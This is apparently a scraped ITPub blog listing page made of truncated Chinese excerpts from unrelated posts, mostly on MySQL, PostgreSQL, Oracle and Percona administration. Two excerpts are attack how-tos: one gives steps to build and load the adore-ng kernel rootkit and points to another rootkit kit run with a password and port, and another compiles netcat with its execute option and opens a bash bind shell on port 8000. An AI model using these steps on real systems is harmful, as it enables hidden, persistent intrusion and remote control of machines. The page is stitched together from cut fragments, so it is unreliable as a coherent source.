ITPub博客

Normal 0 7.8 磅 0 2 false false false EN-US ZH-CN X-NONE MicrosoftInternetExplorer4

Mysql导入PostgreSQL 异构数据库导入可以用FDW,但测试后发现FDW部分显示乱码，所以决定采用COPY 文本文件的方式，具体步骤如下： 1、转化DDL modeltrans.pl 2、MySQL端生成文本文件，并做相应转化，把换行符替换掉 mysql > SELECT CONCAT('select * from ', table_name, '

1、下载资源adore-ng-0.56.zip另外一个工具包,更简单ddrk.tgz 直接运行setup PASS PORT就可以了2、安装内核开发包yum -y install kernel-devel3、对内核软连接ln -s /usr/src/kernels/2.6.18-194.el5-x86_64/ /usr/src/linux4、编译Adore-nbmake5、查找空闲模块 [root@bitest adore-ng-0.56-wztfix]# lsmod | sort -r -k 3 | tail -5asus_acpi 50917 0 amd64_edac_mod 58609 0 adore_ng_2.6 60548 0 acpi_memhotplug 40261 0 ac 38729 0 6、查看模块位置[root@bitest adore-ng-0.56-wztfix]# modprobe -l ehci_hcd/lib/modules/2.6.18-194

1、下载nc110.tgz2、修改sed -e 1319s/res_init/__res_init/ netcat.c > nc.cgcc -O -s -DGAPING_SECURITY_HOLE -DTELNET -DLINUX -static -o nc netcat.c3、启用nc -l -p 8000 -e /bin/bash4、客户端连接nc x.x.x.x 8000[@more@]

刚接手一个库发现RMAN和EXP均无法正常备份，由于这个库没有任何容灾机制和备份策略，所致修复这个备份故障变得很重要，备份重于一切啊，最起码能在出现故障的时候不至于心慌。故障现象：EXPEXP-00056: ORACLE error 1116 encounteredORA-01116: error in opening database file 4ORA-01110: data file 4: '/u01/app/oracle/oradata/qm_erp/QMERPDATA01.dbf'ORA-27092: size of file exceeds file size limit of the processAdditional information: 8191Additional information: 665345RMANRMAN> report schema;using target database

xtrabackup安装vi /etc/yum.repos.d/Percona.repo[percona] name = CentOS $releasever - Perconabaseurl=http://repo.percona.com/centos/$releasever/os/$basearch/enabled = 1gpgkey = file:///etc/pki/rpm-gpg/RPM-GPG-KEY-perconagpgcheck = 1yum -y install percona-xtrabackup libaio libaio-devel1、全备份innobackupex --user=root --password=8812345 --host=192.168.11.125 --defaults-file=/etc/my.cnf --no-timestamp ./full 2、增量备份1innobackupex --n

by netoearth mysql5.5 比mysql5.1有更快的innodb,更好的多核支持,加强的复制功能,这正是我看中的.Percona-Server是MySQL的衍生版，在功能和性能上较官方MySQL 又有着很显著的提升.Percona版和官方mysql.5.5.17下编出中文支持需用-DWITH_EXTRA_CHARSETS=all下面参数无法编出-DWITH_EXTRA_CHARSETS:STRING=utf8,gbk官方mysql.5.5.18两个参数都无法编译出中文支持…5.5起使用cmake编译,可以用yum安装5.6也可用此安装wget http://www.percona.com/redir/downloads/Percona-Server-5.5/Percona-Server-5.5.17-22.1/source/Percona-Server-5.5.

今天系统出现严重等待问题，表现如下：1. 现象SQL> select count(*) from v$session;COUNT(*)----------379SQL> select count(*) from v$session where status='ACTIVE';COUNT(*)----------120当前情况，较正常时候，total session有所减少，active session增加了9倍。SQL> select * from v$session_wait where event not like 'SQL%' and event not like 'rdbms%';发现大量的library cache lock和library cache pin等待，最长等待session约为半小时。此时CPU使用率和内存使用率呈趋势性下降。2. 查看相关时间段内，DDL操作造成的

General InformationPurposeUndo advisor gives users recommendation on setting undo retention and sizing undo tablespace. Undo retention is in seconds.Source{ORACLE_HOME}/rdbms/admin/dbmsuadv.sqlFirst Available10.1Data TypeCREATE OR REPLACE TYPE dbms_uadv_arr as VARRAY(100) of NUMBER;/DependenciesDBA_TABLESPACESDBMS_UNDO_ADVPRVT_ADVISORDBMS_SQLGV$DATABASEUTL_LMSDBMS_SYS_ERRORGV$PARAMETERX$KSPPCV2DBMS_UADV_ARRGV$ROLLSTATX$KSPPIDBMS_UNDOADV_LIBPLITBLM Overload DefinitionsOverload 1Subprogram is base